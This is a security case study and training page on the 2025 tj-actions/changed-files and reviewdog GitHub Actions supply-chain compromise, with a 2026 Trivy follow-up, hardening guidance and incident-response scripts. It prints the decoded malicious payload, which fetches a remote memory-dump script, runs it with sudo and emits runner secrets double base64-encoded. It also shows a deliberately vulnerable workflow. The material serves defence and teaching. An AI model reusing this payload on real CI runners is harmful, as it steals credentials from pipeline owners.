In short

In March 2025 an attacker holding a stolen bot token moved nearly every tag of tj-actions/changed-files to a commit that read secrets from the runner's memory and printed them, double base64-encoded, into workflow logs (CVE-2025-30066). Researchers traced the token to a reviewdog action compromised three days earlier (CVE-2025-30154). Workflows pinned to a full commit SHA were unaffected. Pin actions by SHA, keep long-lived tokens out of CI, and check logs from the exposure window.

  • A version tag is a movable pointer: one push moved v1 through v45.0.7 to new code, while workflows pinned to a 40-character commit SHA kept running what they had reviewed.
  • Log masking did not help. The payload base64-encoded its output twice, and runners redact only exact copies of secret values.
  • Pinning the outer action is not enough: reviewdog's composite actions called reviewdog/action-setup@v1 internally, so they ran the bad code whatever their own pin.
  • The chain began with a pull_request_target workflow that leaked a maintainer's personal access token; long-lived tokens stored as CI secrets carried it from SpotBugs to reviewdog to tj-actions.
  • About 23,000 repositories referenced the action, but Endor Labs counted 218 that printed secrets, mostly GITHUB_TOKENs that expire when the job ends.
  • It happened again in March 2026 when 76 of 77 trivy-action tags were moved; the one tag backed by an immutable release was not.

Incident at a glance

Dates
to
Category
Supply-chain compromise
Organizations
  • tj-actions/changed-files
  • reviewdog
  • SpotBugs
  • Coinbase
Impact
Moved version tags ran code that dumped runner memory and printed CI secrets, double base64-encoded, into workflow logs. Endor Labs found 218 public repositories that leaked secrets, mostly GITHUB_TOKEN values that expire when the job ends.
How it was found
StepSecurity's Harden-Runner flagged an unexpected call to gist.githubusercontent.com from CI jobs, and StepSecurity opened public issue #2463 at 20:52 UTC on 14 March 2025.

Timeline

  1. A pull_request_target workflow in spotbugs/sonar-findbugs leaks a maintainer's personal access token.
  2. With that token the attacker dumps SpotBugs secrets, gets a token that can push to reviewdog, and points reviewdog/action-setup@v1 at malicious code from 18:42 to 20:31 UTC.
  3. tj-actions' CI runs the bad reviewdog action and leaks the tj-actions-bot token.
  4. A variant aimed at coinbase/agentkit runs at 15:10 UTC and obtains a write token.
  5. Nearly every tj-actions/changed-files tag, v1 to v45.0.7, is moved to malicious commit 0e58ed8.
  6. StepSecurity opens issue #2463 at 20:52 UTC.
  7. GitHub publishes GHSA-mrrh-fwg8-r2c3 and takes the repository offline while the tags are cleaned.
  8. tj-actions/changed-files 46.0.1 is released.
  9. CISA issues an alert and adds CVE-2025-30066 to the Known Exploited Vulnerabilities catalog.
  10. CISA adds CVE-2025-30154 to the catalog.

Verify it

  1. Search every workflow file and every composite action.yml you depend on for uses: references that are not 40-hex commit SHAs; zizmor's unpinned-uses audit should report none.
  2. Turn on the SHA-pinning policy, push a test workflow that uses an action by tag, and confirm the run fails.
  3. For each pinned action, open the commit on GitHub and confirm it is on the action's own repository, not a commit that exists only in a fork.
  4. Run find_leaks.py over logs from a test job that prints a double-encoded fake secret, and confirm it reports the secret's name and never its value.
  5. List the secrets each job can read and confirm that no job running third-party code holds a personal access token or a long-lived publish token.
  6. If you publish an action, try to force-push an existing release tag from an account without bypass and confirm the ruleset or immutable release rejects it.
Applies to
  • tj-actions/changed-files Tags v1 to v45.0.7 pointed at 0e58ed8 on 14-15 March 2025; fixed in 46.0.1
  • reviewdog/action-setup v1 tag, 11 March 2025 18:42-20:31 UTC, and the reviewdog actions that call it
  • aquasecurity/trivy-action Tags 0.0.1 to 0.34.2 on 19-20 March 2026; 0.35.0 unaffected
  • GitHub Actions github.com, as of 2026-10

GitHub Actions workflows that use third-party actions. A version tag is mutable; only a full commit SHA pins the code that runs.

Part of
Workflow: Respond to a vulnerability. Collection: case studies
Learning goals and prerequisitesAbout 30 minutes: 11 to read and 19 for the exercise

What you will learn

  • Explain how a moved tag delivered malicious code to thousands of workflows and why SHA pins did not.
  • Trace the token chain from a pull_request_target workflow to a mass compromise.
  • Collect and scan workflow logs for encoded secret dumps without exposing the values.
  • Choose the pinning, token and egress controls that would have stopped or contained the attack.

Before you start

Developers, platform engineers and AppSec engineers who write GitHub Actions workflows, publish actions, or respond to CI incidents

  • Read a GitHub Actions workflow, including uses: references, permissions and secrets.
  • Know what a Git tag, a commit SHA and a fork are.
  • Basic shell and Python; the GitHub CLI for the log script.
Go to the guided practice

A moved tag ran attacker code in thousands of pipelines

On 14 March 2025, tj-actions/changed-files, a GitHub Action that lists the files a pull request or push changed, began printing CI secrets into workflow logs. About 23,000 repositories referenced it. An attacker holding a personal access token (PAT) for the project's bot account created a commit dressed up as a Renovate dependency update and moved nearly every existing version tag, v1 through v45.0.7, to point at it. Every workflow that referenced the action by tag ran that commit on its next run. Workflows pinned to a full commit SHA kept running the code they had chosen.

The bot token was the last link in a chain. Palo Alto Networks Unit 42 traced it to a pull_request_target workflow in a SpotBugs repository that leaked a maintainer's PAT in December 2024. In March 2025 the attacker used that PAT to steal a second one that could push to reviewdog, pointed the v1 tag of reviewdog/action-setup at malicious code for under two hours (CVE-2025-30154), and caught the tj-actions bot token when tj-actions' own CI ran an action built on reviewdog. Unit 42 also found that the first target was a single Coinbase repository, less than two hours before the mass retagging.

Timeline

All times are UTC. The SpotBugs and Coinbase steps come from Unit 42's investigation. The reviewdog maintainer separately confirmed that the token used against reviewdog was stolen in an attack on another project, and GitHub support supplied the tag's reflog, which identified the account that moved v1.

Timeline
When (UTC)EventSource
2024-12-06A pull request to spotbugs/sonar-findbugs abuses a pull_request_target workflow and steals a maintainer's PAT stored as a repository secret.Unit 42
2025-03-11 10:50-10:52Using that PAT, the attacker adds a throwaway account to spotbugs/spotbugs and runs a workflow that dumps its secrets, including a PAT with push access to reviewdog.Unit 42
2025-03-11 18:42-20:31reviewdog/action-setup@v1 points at malicious code. tj-actions' CI runs it and leaks the tj-actions-bot PAT.reviewdog advisory; Unit 42
2025-03-14 15:10A variant aimed at coinbase/agentkit runs there and obtains a write token. Coinbase removes the workflow at 16:37.Unit 42
2025-03-14 about 16:00-17:00Nearly all tj-actions/changed-files tags are moved to commit 0e58ed8.StepSecurity; Unit 42
2025-03-14 20:52StepSecurity opens public issue #2463 after its runner monitor flags calls to gist.githubusercontent.com.tj-actions issue #2463
2025-03-15 to 03-16GitHub publishes GHSA-mrrh-fwg8-r2c3 at 06:30 and takes the repository offline from about 14:00 to 22:00 while the tags are cleaned. Version 46.0.1 follows at 04:12 on 16 March.GitHub advisory; StepSecurity; release page
2025-03-18 and 03-24CISA issues an alert and adds CVE-2025-30066, then CVE-2025-30154, to the Known Exploited Vulnerabilities catalog.CISA

How the payload turned logs into the leak

Commit 0e58ed8 changed the action's bundled index.js to run a base64-encoded shell script. On Linux runners the script downloaded a public Python memory-dump tool from a GitHub gist, ran it with sudo against the Runner.Worker process, kept every entry the runner had marked as a secret, and printed the result to the job log. GitHub's advisory and NVD both describe this code; the decoded script is below.

Two choices made it work. The runner holds the job's secrets in memory in a recognizable JSON shape, so one grep found every secret the job could use, not only those passed to this step. And the output was base64-encoded twice. Runners redact only exact matches of known secret values, so an encoded copy passes straight through. In a public repository anyone can read the logs, so the attacker needed no server of their own; in a private one the secrets were exposed to everyone with read access.

Vulnerabledecoded payload (GHSA-mrrh-fwg8-r2c3)Shell
# Decoded from the base64 string added to index.js in commit 0e58ed8.
# Shown for recognition only; the gist it fetched has been removed.
if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Why tags failed and SHA pins held

A Git tag is a name for a commit, and anyone who can push to the repository can point it elsewhere. Moving tags is also how many maintainers ship minor updates, so a moved v45 looks normal to a workflow. GitHub's guidance is that a full-length commit SHA is the only way to use an action as an immutable release. The malicious code did not even need to sit on a branch: a commit pushed to a fork can be fetched by its SHA through the parent repository, and Unit 42 found the attacker staged payloads in throwaway forks that were later deleted.

The moves left little public trace. The reviewdog maintainer found that v1 had been overwritten with a plain git push using a contributor's PAT, which does not appear in the repository's public activity view. Git push events are recorded only for GitHub Enterprise accounts; on Enterprise Cloud they are available through the REST API, streaming or export and are kept for seven days.

reviewdog also exposed the limit of pinning. Its composite actions, such as action-shellcheck, called reviewdog/action-setup@v1 internally, so they ran the malicious code whatever their own pin was. A pin protects only the reference you write. Read the action.yml of every composite action you use and prefer actions that pin their own dependencies, as reviewdog now does. Automated pin updates can also follow a moved tag: Endor Labs found a few dozen workflows pinned to the malicious commit itself.

A workflow that was exposed

This pattern was common in March 2025. The action is referenced by tag. The job has no permissions block, so in older repositories it still receives a write-scoped GITHUB_TOKEN. A publish token sits in the same job, where any step's code can read it from the runner's memory. The changed-file list is expanded straight into a shell command; the action escapes file names by default, but passing outputs through env: does not depend on that.

Vulnerable.github/workflows/lint-changed.ymlYAML
# As many workflows were in March 2025: a mutable tag and a secret in the same job
name: lint-changed
on: pull_request
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - id: changed
        uses: tj-actions/changed-files@v45   # a tag: whoever can push to the repo can move it
      - run: ./scripts/lint.sh ${{ steps.changed.outputs.all_changed_files }}
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}   # in memory for every step in this job

The same job, hardened

The fixed job pins both actions to full commit SHAs with the version in a comment, so Dependabot can still propose updates. permissions: {} removes every scope at workflow level and the job asks only for read access. The publish token is gone: publishing belongs in a separate workflow that runs no third-party code, ideally through trusted publishing rather than a stored token. The file list reaches the shell through an environment variable instead of template expansion; in the lab at /labs/actions-injection/ you repair a linter that must flag the first and accept the second.

zizmor 1.30.1 reports unpinned references, excessive permissions, persisted checkout credentials and template injection in the first workflow and nothing in the second. Pinning changes how you hear about fixes: Dependabot raises no alerts for actions pinned to a SHA, so let Dependabot version updates move your pins and review each bump before merging.

Fixed.github/workflows/lint-changed.ymlYAML
name: lint-changed
on: pull_request
permissions: {}
jobs:
  lint:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: read   # changed-files can list PR files through the API
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          persist-credentials: false
      - id: changed
        uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
      - name: Lint changed files
        env:
          CHANGED: ${{ steps.changed.outputs.all_changed_files }}
        run: |
          read -ra files <<< "$CHANGED"
          ./scripts/lint.sh "${files[@]}"

Who was exposed

The 23,000 figure counts repositories that referenced the action, not victims. Endor Labs found 5,416 repositories that referenced it in workflow files; 614 of them ran an affected workflow between 15:00 UTC on 14 March and 15:00 UTC on 15 March, and 218 printed secrets to their logs, under 72 distinct names. Most were GITHUB_TOKEN values, which expire when the job ends, but a few dozen were long-lived Docker Hub, npm and AWS credentials. Endor could see only public repositories; private repositories that ran the code also wrote secrets into their own logs.

reviewdog's exposure was the v1 tag of action-setup for 109 minutes on 11 March, plus every action that called it: action-shellcheck, action-composite-template, action-staticcheck, action-ast-grep and action-typos. Coinbase's agentkit workflow ran a variant aimed at it and leaked a token with write access; Coinbase told Unit 42 the attack caused no damage.

How it was caught and contained

Detection came from outside the project. StepSecurity's Harden-Runner, which records where CI jobs connect, flagged an unexpected call to gist.githubusercontent.com, and its team opened a public issue at 20:52 UTC on 14 March. GitHub published its advisory early on 15 March, revoked the stolen PAT and took the repository offline for about eight hours while the maintainer removed the malicious commit from every tag.

  • tj-actions changed the bot account's password, moved it to a passkey, reduced its role, added tag protection, required signed commits and stopped using PATs in the organization.
  • reviewdog turned off the automated invitations that gave contributors write access (118 people held it), removed write access from all but a few maintainers, pinned every internal action reference by SHA and rotated its tokens.
  • CISA told users to audit runs of tj-actions/changed-files between 12 March 00:00 and 15 March 12:00 UTC and of reviewdog actions between 18:42 and 20:31 UTC on 11 March, look in logs for double-encoded base64 output, and rotate whatever it contained.

Pull the logs from the exposure window

Logs are your evidence, and GitHub deletes them after the retention period, 90 days by default. Since October 2026 the runs themselves expire on the same schedule. The script lists every run created in a window and saves each run's log archive with the GitHub CLI. Run it for each affected repository as soon as an advisory lands, store the archives somewhere access-controlled, and only then delete the logs on GitHub that contain secrets.

Testaudit-runs.shShell
#!/usr/bin/env bash
# Usage: audit-runs.sh OWNER/REPO [WINDOW]   (WINDOW uses search date syntax)
# Lists the workflow runs created in the exposure window and saves their logs.
set -euo pipefail
repo="$1"
window="${2:-2025-03-14..2025-03-15}"
out="logs/${repo//\//_}"
mkdir -p "$out"
gh api --paginate "repos/$repo/actions/runs?created=$window&per_page=100" \
  --jq '.workflow_runs[] | [.id, .event, .created_at, .name] | @tsv' |
while IFS=$'\t' read -r id event created name; do
  printf '%s  %s  %-12s %s\n' "$created" "$id" "$event" "$name"
  gh api "repos/$repo/actions/runs/$id/logs" > "$out/$id.zip" 2>/dev/null ||
    { rm -f "$out/$id.zip"; echo "  no logs (expired or deleted)"; }
done

Scan the logs for encoded secret dumps

This scanner reverses the payload's encoding. It looks for long base64 strings, decodes them once and then twice, and reports the names of entries in the runner's secret format, never the values. Against synthetic logs built with the payload's exact grep and base64 pipeline it reported the three planted names, and it reported nothing on real run logs or on lines holding other base64 data. Treat every name it prints as compromised and rotate it at the issuer, then check the issuer's logs for use.

Testfind_leaks.pyPython
"""Find secret dumps like the tj-actions payload's in GitHub Actions run logs.

Usage: python3 find_leaks.py logs/   (log .zip archives, .txt files or folders)
Reports the file, line and secret NAMES to rotate. It never prints values.
"""
import base64
import binascii
import re
import sys
import zipfile
from pathlib import Path

BLOB = re.compile(rb"[A-Za-z0-9+/]{40,}={0,2}")
ENTRY = re.compile(rb'"([^"]+)":\{"value":"[^"]*","isSecret":true\}')


def b64(data):
    try:
        return base64.b64decode(data.strip(), validate=True)
    except (binascii.Error, ValueError):
        return None


def secret_names(blob):
    once = b64(blob)
    twice = b64(once) if once else None
    for text in (once, twice):  # the 2025 payloads encoded twice
        if text and (names := ENTRY.findall(text)):
            return sorted({n.decode() for n in names})
    return []


def scan(label, data):
    for number, line in enumerate(data.splitlines(), 1):
        for blob in BLOB.findall(line):
            if names := secret_names(blob):
                print(f"{label}:{number}: rotate {', '.join(names)}")


def files(path):
    if path.is_dir():
        yield from sorted(p for p in path.rglob("*") if p.is_file())
    else:
        yield path


for arg in sys.argv[1:]:
    for path in files(Path(arg)):
        if zipfile.is_zipfile(path):
            with zipfile.ZipFile(path) as archive:
                for member in archive.namelist():
                    scan(f"{path}!{member}", archive.read(member))
        else:
            scan(str(path), path.read_bytes())

Which controls would have stopped or limited it?

The SSDF column names NIST SP 800-218 version 1.1 practices and tasks. Most apply to anyone who runs third-party actions; the last rows apply to anyone who publishes one.

Which controls would have stopped or limited it?
ControlWhoSSDF practice or standardGuide
Pin every third-party action to a full commit SHA, enforce it by policy, and review pin updatesWorkflow ownersSSDF PW.4.1, PW.4.4/domains/supply-chain/ci-cd/github-actions-hardening/
Read what composite actions call, and prefer actions that pin their own dependenciesWorkflow ownersSSDF PW.4.4/domains/supply-chain/ci-cd/github-actions-hardening/
No personal access tokens in CI: per-job GITHUB_TOKEN permissions, GitHub App tokens or OIDCWorkflow owners and maintainersSSDF PO.5.1, PS.1.1/domains/identity-crypto/identity/workload-identity-models/
Never run pull request code under pull_request_targetMaintainersSSDF PO.3.2, PO.5.1/domains/supply-chain/ci-cd/untrusted-workflow-boundaries/
Keep jobs that run third-party code apart from jobs that hold publish or deploy credentialsWorkflow ownersSSDF PO.5.1/domains/supply-chain/ci-cd/build-integrity/
Monitor where runners connect and alert on new destinationsWorkflow ownersSSDF PO.3.2 (monitor tools for anomalous behavior)/domains/supply-chain/ci-cd/github-actions-hardening/
Immutable releases and a tag ruleset that blocks updates and deletionsAction publishersSSDF PS.1.1, PS.2.1/domains/supply-chain/ci-cd/source-repository-protection/
Revoke every exposed credential at once after an incidentEveryone affectedSSDF RV.2.2/domains/identity-crypto/secrets/leaked-secret-response/

Lessons that still apply

Every link in this chain was a long-lived credential sitting where untrusted code could reach it. The controls below break the chain at different points, so use several.

  • Pin every third-party action to a full commit SHA, enforce it with the allowed-actions policy, and review automated pin bumps instead of merging them blindly; /domains/supply-chain/ci-cd/github-actions-hardening/ covers the settings.
  • Read what a composite action calls, and favor actions that pin their own dependencies.
  • Keep personal access tokens out of CI. Use GITHUB_TOKEN with per-job permissions, GitHub App installation tokens, or OIDC for cloud and registry access.
  • Never run pull request code under pull_request_target; this chain started there, and /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ shows the safe split.
  • Keep jobs that run third-party code apart from jobs that hold publish or deploy credentials.
  • Watch where runners connect. A CI job that suddenly reaches a new host was the earliest signal here.
  • If you publish an action, turn on immutable releases and a tag ruleset that blocks updates and deletions.
  • After an incident, revoke all exposed credentials at once. A staggered rotation let an attacker back into Trivy in 2026.
  • The same failure, a mutable download running with CI secrets, hit Codecov's Bash Uploader in 2021: /domains/supply-chain/ci-cd/case-study-codecov/.

It happened again in 2026

On 19 March 2026 an attacker force-pushed 76 of the 77 version tags of aquasecurity/trivy-action, and all seven tags of setup-trivy, to code that dumped Runner.Worker memory and sent what it found to attacker infrastructure (CVE-2026-33634). The one tag that held, 0.35.0, belonged to an immutable release. Aqua traced the access to an incident a few weeks earlier, after which credentials had been rotated in stages rather than all at once. The FBI attributes the Trivy compromise to a criminal group it calls TeamPCP. In May 2026 the TanStack npm compromise reused the same memory-dump script to steal an OIDC publishing token: /domains/supply-chain/dependencies/case-study-shai-hulud/.

GitHub has added controls since 2025. Organizations can require SHA pinning and block named actions (August 2025), immutable releases lock tags (October 2025), suspected malicious workflows in public repositories are held for approval (July 2026), and from 2 November 2026 a default rule blocks pull_request_target in public repositories that have no event policy of their own. Workflow-level dependency locking, which would also pin the actions nested inside composite actions, is on GitHub's 2026 Actions security roadmap. Pinning enforcement and immutable releases are opt-in, so check that yours are on.

What the public evidence does not establish

The public record does not establish who carried out the 2025 attack. The chain from SpotBugs to reviewdog to tj-actions comes from Unit 42's investigation, partly confirmed by the reviewdog maintainer and by the tag reflog GitHub supplied; no single first-party postmortem covers every step. Endor Labs' counts cover public repositories only, so how many private repositories ran the payload, and whether any secret printed to a log was later used, is not known. Coinbase's statement that the attack caused no damage is Coinbase's, as reported by Unit 42. The FBI's attribution to TeamPCP concerns the 2026 Trivy compromise, not the 2025 chain.

Guided practice

You run CI for an organization. A bulletin says tj-actions/changed-files tags v1 to v45.0.7 pointed at credential-dumping commit 0e58ed8 on 14-15 March 2025, and reviewdog/action-setup@v1 pointed at malicious code on 11 March from 18:42 to 20:31 UTC. Decide which repositories were exposed, what to rotate first, and what to change.

Supplied scenario material
Plain text
repo   visibility workflow and reference                                       secrets in that job                       runs (UTC)
web    public     lint.yml  tj-actions/changed-files@v45                         NPM_TOKEN (publish), GITHUB_TOKEN write   14 Mar 17:05, 17:22, 17:40
api    private    ci.yml    tj-actions/changed-files@v44.5.1                     AWS keys for production                   15 Mar 09:12
docs   public     pr.yml    tj-actions/changed-files@<SHA of v45.0.6, Jan 2025>  none (GITHUB_TOKEN read)                  14 Mar 18:00
tools  public     ci.yml    tj-actions/changed-files@0e58ed86... # v45.0.7       GITHUB_TOKEN read                         14 Mar 18:41 (Renovate pin bump merged 18:30)
infra  private    plan.yml  acme/setup-tools@<40-hex SHA>                        DEPLOY_PAT (write to every org repo)      11 Mar 19:05

acme/setup-tools/action.yml is a composite action containing: uses: reviewdog/action-setup@v1
web lint.yml log, 14 Mar 17:06:02Z: one long base64 string on its own line
  1. 1. Classify exposure

    For each repository, decide whether the malicious code ran and who could read the output.

    Expected result and reasoning

    web: ran; public logs, so treat NPM_TOKEN as public. api: ran; logs readable by everyone with repo read access. docs: not exposed, pinned to a pre-incident SHA. tools: exposed despite a SHA pin, because the bot moved the pin to the malicious commit. infra: exposed through the composite action's nested reviewdog@v1 reference inside the reviewdog window.

  2. 2. Read the logs without spreading secrets

    Download the runs from the window and identify what leaked.

    Expected result and reasoning

    Use audit-runs.sh per repository, then find_leaks.py, which prints names such as NPM_TOKEN and GITHUB_TOKEN but not values. Keep the archives access-controlled as evidence, then delete the GitHub logs that contain secrets. Never paste decoded values into tickets or chat.

  3. 3. Rotate in order of reach

    Order the rotations and say what to check after each.

    Expected result and reasoning

    First NPM_TOKEN (public, long-lived, can publish) and DEPLOY_PAT (write to every repository), then the AWS keys. Check npm publish history, the organization audit log and CloudTrail for use during and after the window. GITHUB_TOKEN values expired with their jobs, but review what those jobs could have changed while running.

  4. 4. Close the paths

    List the workflow, policy and credential changes that would have stopped or limited each exposure.

    Expected result and reasoning

    Enforce SHA pinning with the allowed-actions policy and review pin bumps; pin the nested reviewdog reference inside acme/setup-tools and give it immutable releases and a tag ruleset; set permissions: {} with per-job scopes; move publishing to a separate job with trusted publishing; replace DEPLOY_PAT with a GitHub App installation token or OIDC.

Your deliverable: An exposure table (repository, exposed or not, reason, secrets to rotate, priority), the rotation order with the logs to check, and the workflow, policy and credential changes.

The inventory and run times are synthetic but fall inside the published windows. Do not decode real secret dumps into shared systems; treat any real double-encoded output as compromised credentials.

Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.

No draft saved on this device yet.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

  1. GitHub Advisory GHSA-mrrh-fwg8-r2c3: tj-actions/changed-files (CVE-2025-30066). 15 March 2025.
  2. GitHub Advisory GHSA-qmg3-hpqr-gqvc: reviewdog actions (CVE-2025-30154). 19 March 2025.
  3. CISA: Supply chain compromise of tj-actions/changed-files and reviewdog/action-setup (rev. 26 March 2025)
  4. tj-actions/changed-files issue #2463: incident report and maintainer response
  5. reviewdog issue #2079: maintainer security advisory and root-cause updates
  6. Unit 42: GitHub Actions supply chain attack, root cause via SpotBugs (updated 2 April 2025)
  7. StepSecurity: Harden-Runner detection of the tj-actions/changed-files compromise
  8. Endor Labs: blast radius of the tj-actions/changed-files attack
  9. Aqua Security advisory GHSA-69fq-xp46-6x23: trivy-action and setup-trivy tags hijacked (CVE-2026-33634)
  10. FBI FLASH-20260702-01: Cyber criminal group TeamPCP (Trivy and related compromises). 2 July 2026.
  11. GitHub: What's coming to our GitHub Actions 2026 security roadmap. 26 March 2026.
  12. GitHub Changelog: Workflow execution protections in GitHub Actions generally available. 17 September 2026.
  13. OWASP Top 10 CI/CD Security Risks: CICD-SEC-8 Ungoverned Usage of 3rd Party Services. v1.0 (2022).

Reference information

Download this guide as Markdown